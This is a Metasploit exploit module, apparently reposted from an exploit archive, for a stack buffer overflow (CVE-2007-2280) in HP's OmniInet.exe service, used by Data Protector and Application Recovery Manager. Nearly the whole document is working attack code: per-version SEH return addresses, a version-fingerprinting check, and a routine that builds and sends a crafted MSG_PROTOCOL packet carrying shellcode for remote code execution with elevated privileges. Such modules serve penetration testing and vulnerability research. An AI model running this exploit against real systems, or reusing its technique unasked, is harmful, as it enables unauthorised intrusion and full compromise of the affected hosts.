HP – ‘OmniInet.exe’ MSG_PROTOCOL Buffer Overflow (Metasploit) (2)
## # $Id: hp_omniinet_1.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'HP OmniInet.exe MSG_PROTOCOL Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in the Hewlett-Packard OmniInet NT Service. By sending a specially crafted MSG_PROTOCOL (0x010b) packet, a remote attacker may be able to execute arbitrary code with elevated privileges. This service is installed with HP OpenView Data Protector, HP Application Recovery Manager and potentially other products. This exploit has been tested against versions 6.1, 6.0, and 5.50 of Data Protector. and versions 6.0 and 6.1 of Application Recovery Manager. NOTE: There are actually two consecutive wcscpy() calls in the program (which may be why ZDI considered them two separate issues). However, this module only exploits the first one. }, 'Author' => [ 'EgiX <n0b0d13s[at]gmail.com>', 'Fairuzan Roslan <riaf[at]mysec.org>', 'jduck' ], 'Version' => '$Revision: 10394 $', 'References' => [ [ 'CVE', '2007-2280' ], [ 'BID', '37396' ], [ 'OSVDB', '61206' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-099' ] ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'seh', }, 'Payload' => { 'Space' => 4658+66, 'BadChars' => "\x00", # (we don't want \x00\x00) 'StackAdjustment' => -3500 }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic Targeting', { 'auto' => true } ], # DP Targets [ 'HP OpenView Storage Data Protector A.05.50: INET, internal build 330', { 'Ret' => 0x004406cf # p/p/r - OmniInet.exe (v5.50.330.0) } ], [ 'HP OpenView Storage Data Protector A.06.00: INET, internal build 331', { 'Ret' => 0x0044327d # p/p/r - OmniInet.exe (v6.0.331.0) } ], # APPRM Targets [ 'HP StorageWorks Application Recovery Manager A.06.00: INET, internal build 81', { 'Ret' => 0x004280ff # p/p/r - OmniInet.exe (v6.0.81.0) } ], [ 'HP Application Recovery Manager software A.06.10: INET, internal build 282', { 'Ret' => 0x004412ed # p/p/r - OmniInet.exe (v6.0.282.0) } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Dec 17 2009')) register_options([Opt::RPORT(5555)], self.class) end def check connect sock.put(rand_text_alpha_upper(64)) resp = sock.get_once(-1,5) disconnect if (resp) resp = resp.unpack('v*').pack('C*') print_status("Received response: " + resp) # extract version if (resp =~ /HP Data Protector/) version = resp.split[3] elsif (resp =~ /HP OpenView Storage Data Protector/) version = resp.split[5] elsif (resp =~ /HP StorageWorks Application Recovery Manager/) version = resp.split[5] else return Exploit::CheckCode::Detected end version = version.split('.') major = version[1].to_i minor = version[2].to_i if ((major < 6) or (major == 6 and minor < 11)) return Exploit::CheckCode::Vulnerable end if ((major > 6) or (major == 6 and minor >= 11)) return Exploit::CheckCode::Safe end end return Exploit::CheckCode::Safe end def exploit mytarget = target if (target['auto']) mytarget = nil print_status("Automatically detecting the target...") connect sock.put(rand_text_alpha_upper(64)) resp = sock.get_once(-1,5) disconnect if not resp raise RuntimeError, "No version response returned." end resp = resp.unpack('v*').pack('C*') print_status("Received response: " + resp) self.targets.each do |t| if (resp =~ /#{t.name}/) then mytarget = t break end end if (not mytarget) raise RuntimeError, "No matching target" end print_status("Selected Target: #{mytarget.name}") else print_status("Trying target #{mytarget.name}...") end # separator between arguments sep = [0x2000].pack('N') # Unicode BOM pkt = "\xff\xfe" # MSG_PROTOCOL command pkt << Rex::Text.to_unicode("267") # dunno 3.times do pkt << sep pkt << rand_text_alpha_upper(2) end # culprit string pkt << sep # the payload + seh record pkt << payload.encoded pkt << generate_seh_record(mytarget.ret) # jump back dist = payload_space + 8 pkt << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + dist.to_s).encode_string # force exception hitting the end of the stack pkt << rand_text_alphanumeric(1000) * 25 # 5th arg pkt << sep pkt << rand_text_alpha_upper(2) # end marker pkt << sep # packet length buff = [pkt.length].pack('N') buff << pkt connect print_status("Sending MSG_PROTOCOL packet...") sock.put(buff) handler disconnect end end |